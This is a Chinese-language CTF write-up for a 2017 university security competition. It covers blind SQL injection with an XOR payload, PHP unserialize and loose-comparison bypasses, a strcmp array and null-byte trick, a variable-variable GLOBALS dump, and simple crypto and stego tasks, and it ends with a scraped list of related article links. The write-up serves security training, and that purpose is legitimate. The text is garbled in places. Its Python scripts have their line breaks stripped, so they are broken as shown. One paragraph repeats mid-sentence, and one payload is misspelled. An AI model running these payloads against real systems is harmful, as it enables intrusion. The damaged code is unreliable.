Login

右键源代码提示 用户名是admin 密码是pwd字段 典型注入
试一下 发现全都过滤了,空格union select还有各种函数…
使用异或^构造payload:

(在我自己搭的环境里测试)发现可以
写脚本:

import requests
url = 'http://202.112.26.124:8080/fb69d7b4467e33c71b0153e62f7e2bf0/index.php's = requests.Session()pwd=""for i in range(1, 31):for j in range(65,122):payload = "admin'^(strcmp(left(right(pwd,"+str(i)+"),1),'"+chr(j)+"'))='1"#print payloaddata = {'uname':payload, 'pwd':'123'}r = s.post(url,data)#print r.contentif 'password' in r.content:pwd += chr(j)print payloadprint pwdprint pwd[::-1] 

随机数:

http://202.112.26.124:8080/280a31eec4c62a893ad40a6508d207c8/index.php.bak
备份文件泄露
审计源代码

只需要两个code相等即可
而SESSION[‘code’]的值在后文

发现就是一个随机数,打开burp抓包直接开跑
暴力跑code=?

快速计算

直接上脚本:

import re, requests
s = requests.Session()
url = 'http://202.120.7.220:2333/'
r = s.get(url)
c = r.content
num = re.findall(re.compile(r'br/>(.*?)=<input'), c)[0]
print num
data = {'v' : eval(num)}
print data
r = s.post(url, data = data)
print r.content

不是管理员也能登陆:

根据提示 打开帮助与说明

右键源代码:

思路很清晰了:用户名是0e开头的md5,密码是构造反序列化
搭环境试了一下

用户名:QNKCDZO
密码:a:2:{s:4:”name”;s:2:”XX”;s:3:”pwd”;s:2:”XX”;}

提交错误。。。这就很尴尬。所以感觉源码的XX并不是真正的XX
而且注意到是用的两个等于号 弱类型匹配,这就简单了,传0就行了

构造的密码为a:2:{s:4:”name”;i:0;s:3:”pwd”;i:0;}

过了

Easy crypto

审了一下题,需要将算法逆置。
代码如下:

# -*- coding: utf-8 -*-
def rc4(data,key):j=0s=range(256)for i in range(256):j=(j+s[i]+ord(key[i%len(key)]))%256s[i],s[j]=s[j],s[i]i=0j=0out=[]for char in data:i=(i+1)%256j=(j+s[i])%256s[i],s[j]=s[j],s[i]out.append(chr(ord(char)^s[(s[i]+s[j])%256]))return ''.join(out)
f = open('enc.txt', 'r')
r = f.read()
encodedata=rc4(r,'hello world')
print encodedata

PHP是最好的语言

2017年11月2日
19:37

  1. 初步观察

打开之后一片空白,但是在index.php后面添加.bak可以下载到源码,可以看出这个题目属于php代码审计类型
2. 查看源码,确定方案
看到源码中含有反序列化函数,应该是考察PHP的反序列化漏洞

通读一遍代码发现,只要满足v1,v2,v3都为1就可以显示flag

源码中有三个函数可以让v1,v2,v3为1,因此主要目标就是满足这三个函数的条件让这三个函数执行
3. 具体操作
a. V1函数

第一个if需要a是一个数组,所以a=array();Isnumeric判断a的param1是否为数字,是数字直接退出,不是数字的话不进行任何操作,我们需要a[param1]不是数字,下一个if中,a[param1]需要大于2017,v1才会被设置为1,看似这个条件与上一个a[param1]不是数字矛盾,但是php一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。那么可以写一句a=array(); Is_numeric判断a的param1是否为数字,是数字直接退出,不是数字的话不进行任何操作,我们需要a[param1]不是数字, 下一个if中,a[param1]需要大于2017,v1才会被设置为1,看似这个条件与上一个a[param1]不是数字矛盾,但是php一个数字和一个字符串进行比较或者进行运算时,PHP会把字符串转换成数字再进行比较。PHP转换的规则的是:若字符串以数字开头,则取开头数字作为转换结果,若无则输出0。 那么可以写一句a[“param1”]=”2018a”;,那么2018>2017可以使条件成立
b. V2函数
首先需要a[param2]是一个数组,那么应该想到数组嵌套数组,
看下一个if条件,得知,如果a[param2]长度不为5或者a[param2][0]为0那么就会退出,所以我们需要构造的条件就是:a[param2]长度为5,而且a[param2][0]不为0。
继续往下看,pos变量我们需要它返回为True,需要的条件为使用array_search函数时,a[param2]中与nudt有匹配的值,然而往下看在遍历a[param2]中的值的时候,需要全部与“nudt”不相等,看似矛盾,但是由于“nudt”字符串与数字进行比较时,php会将nudt变成0,所以需要a[param2]中有个0
综上,构造一句:a[“param2”]=array(array(1),1,2,3,0);综上对a的构造已经完毕,可以序列化输出a的值,然后写入url里,print(serialize(a[“param2”]=array(array(1),1,2,3,0); 综上对a的构造已经完毕,可以序列化输出a的值,然后写入url里, print(serialize(a))
c. V3函数

第一个if需要c[1]为真,第二个if需要c[1]和d进行strcmp比较为0,而c[1]不等于d,
由于低版本php的strcmp有个漏洞:非字符串进行比较时,将会直接返回0,所以可以考虑将c[1]构造成数组,即egg[]为二维数组
因此可以构造egg[1][]=11&d=1

eregi函数匹配d和c[0]拼接起来的字符串中是否有M或n或s,我们需要它返回假,
而下一个函数查找MyAns在c[0]和d组成的字符串中出现的位置,所以需要MyAns不仅存在,而且不能在第0位,综上考虑,采用00截断方式,
egg[0]=%00MyAns
这样当d和c[0]拼接的字符串进行匹配时,不会读取到%00之后的内容,
而c[0]和d拼接起来的字符串进行匹配时,则从能读取到。
从而可以让v3=1

  1. 最后结果
    构造的的url:
    http://202.112.26.124:8080/95fe19724cc6084f08366340c848b791/index.php/?foo=a:2:{s:6:”param1”;s:5:”2018a”;s:6:”param2”;a:5:{i:0;a:1:{i:0;i:1;}i:1;i:1;i:2;i:2;i:3;i:3;i:4;i:0;}}&egg[0]=%00MyAns&egg[1][]=11&d=1
    EIS{php_th3_b45t_l4ngu4g3}

文件上传

发现此题需要上传可执行php文件,但过滤掉了“<, ?”等一些特殊字符,需绕过,抓包传递数组

php代码审计

<?php
error_reporting(0);
include "flag1.php";
highlight_file(__file__);
if(isset($_GET['args'])){ $args = $_GET['args']; if(!preg_match("/^\w+$/",$args)){ die("args error!"); } eval("var_dump($$args);");
} 

其中preg_match正则表达式的 意思是,匹配字符串,\w表示字符+数字+下划线,*代表有若干个\w字符组成。如果不匹配会输出 ‘’args error!‘’\
而下一句的$$args,比较有意思。解析一下,PHP中变量可以当作另一个变量的变量名。
$GLOBALS:一个包含了全部变量的全局组合数组。
构造payload:?args=BLOBLAS
即可爆出所有变量,其中包含flag
array(7) { [“GLOBALS”]=> RECURSION [“_POST”]=> array(0) { } [“_GET”]=> array(1) { [“args”]=> string(7) “GLOBALS” } [“_COOKIE”]=> array(0) { } [“_FILES”]=> array(0) { } [“ZFkwe3”]=> string(38) “flag{92853051ab894a64f7865cf3c2128b34}” [“args”]=> string(7) “GLOBALS” }

隐藏在黑夜里的秘密

放到010编辑器里面,看出是伪加密 提取出两个文件
解压出来
flag.txt
bmp文件
图片分层后找到flag

php trick

右键查看源代码
很明显的变量覆盖漏洞

RVF{woshiflag}
提示里有被加密了,凯撒算法
Flag格式是eis
很容易知道移13位
eis{jbfuvsynt}

2017年高校网络信息安全管理运维挑战赛部分题解相关推荐

  1. 2023中职组网络搭建与运维赛项规程

    全国职业院校技能大赛 赛项规程 赛项名称:网络建设与运维 英文名称:NetworkConstruction and OperationalMaintenance 赛项组别:中等职业教育 赛项编号:ZZ ...

  2. 2023年全国大赛网络建设与运维 赛事规程

    全国职业院校技能大赛 赛项规程 赛项名称: 网络建设与运维 英文名称: Network Construction and Operational Maintenance 赛项组别:中等职业教育 赛项编 ...

  3. 数据中心网络流量精细运维

    从IDC运营商和云服务商的角度来说,做好网络运维是企业的根本.国内对互联网带宽需求的快速增长,催生出很多大型的IDC服务商,他们在全省.全国,甚至全世界布局数据中心.快速布局的同时如何对数据中心流量精 ...

  4. 全国职业院校技能大赛 网络建设与运维 赛题(三)

    目录 赛题说明 模块一:网络理论测试 模块二:网络建设与调试 一.工程统筹 二.交换配置 三.路由调试 四.无线部署 五.安全维护 模块三:服务搭建与运维 一.X86架构计算机操作系统安装与管理 二. ...

  5. 天津商业大学计算机网络管理与维护,天津商业大学召开网络信息安全管理工作会...

    原标题:天津商业大学召开网络信息安全管理工作会 为落实市教育两委和学校校园安全综合治理专项工作会议精神,进一步提高学校网络信息安全防护能力,1月5日下午,学校在现代信息交流中心二楼多功能会议室召开网络 ...

  6. 两年制大专计算机网络技术,4G网络技术与运维工程师专业(两年制专科).doc

    4G网络技术与运维工程师专业(两年制专科).doc 2017年秋季 4G网络技术与运维工程师 院校教学审批意见: 负责人签字: 日期: 4G网络技术与运维工程师课程列表 序号课程学段课程名称1第一学期 ...

  7. 全国职业院校技能大赛-网络建设与运维赛题(一)

    目录 赛题说明 模块一:网络理论测试 模块二:网络建设与调试 一.工程统筹 二.交换配置 三.路由调试 四.无线部署 五.安全维护 模块三:服务搭建与运维 一.X86架构计算机操作系统安装与管理 二. ...

  8. 全国职业院校技能大赛 网络建设与运维 赛题(八)

    目录 赛题说明 模块一:网络理论测试 模块二:网络建设与调试 一.工程统筹 二.交换配置 三.路由调试 四.无线部署 五.安全维护 模块三:服务搭建与运维 一.X86架构计算机操作系统安装与管理 二. ...

  9. 全国职业院校技能大赛 网络建设与运维 赛题(七)

    目录 赛题说明 模块一:网络理论测试分 模块二:网络建设与调试 一.工程统筹 二.交换配置 三.路由调试 四.无线部署 五.安全维护 模块三:服务搭建与运维 一.X86架构计算机操作系统安装与管理 二 ...

  10. 全国职业院校技能大赛 网络建设与运维 赛题(五)

    目录 赛题说明 模块一:网络理论测试 模块二:网络建设与调试 一.工程统筹 二.交换配置 三.路由调试 四.无线部署 五.安全维护 模块三:服务搭建与运维 一.X86架构计算机操作系统安装与管理 二. ...

最新文章

  1. 数据库建表练习(10.11作业)
  2. sublime3 常用功能总结
  3. Ext JS 5的声明式事件监听
  4. 开源joda-time使用demo
  5. maven+springboot整合mybatis(十二)
  6. 图像特效之浮雕与雕刻
  7. Unity3D之UGUI基础1:UGUI插件介绍
  8. k均值聚类的python代码_k-均值聚类Python代码实现
  9. MySQL 第三次练习(单表查询)
  10. AI之语音转写项目实践
  11. HDU 5336 XYZ and Drops (模拟+搜索,详解)
  12. 因为涉嫌歧视女性被开除的那位工程师到底在备忘录上写了什么?
  13. 海洋cms 模板标签手册
  14. 魔兽世界服务端源码各个重要文件详细情况说明开服一条龙
  15. 苏格拉底与失恋者的对话(教你怎么安慰失恋的朋友)
  16. 塞班微信登录显示服务器繁忙,塞班系统彻底告别 已无法登陆QQ/微信
  17. DVB-subtitle解析流程浅
  18. 实现表格中的el-switch 开关切换
  19. 计算1+22+333+4444...+nnnn的数字和
  20. Swagger使用教程

热门文章

  1. org.springframework.beans.BeanInstantiationException: Failed to instantiate [com.itheima.
  2. ubuntu系统安装qq教程(超简单,亲测成功)
  3. ubuntu16.04安装NVIDIA显卡驱动
  4. 我从Web前端开发转到网页游戏开发
  5. 怎么卸载Office2007兼容包?
  6. PHP——简单留言板
  7. 如何用resource hacker快速的去除WinRAR的广告
  8. 2022焊工(初级)上岗证题目及在线模拟考试
  9. php wps导入数据库,金山的wps的表格怎样导入sqlserver2008数据库中??_wps excel表格怎么导入数据库...
  10. regsvr32 命令小集注册OCX控件,注册控件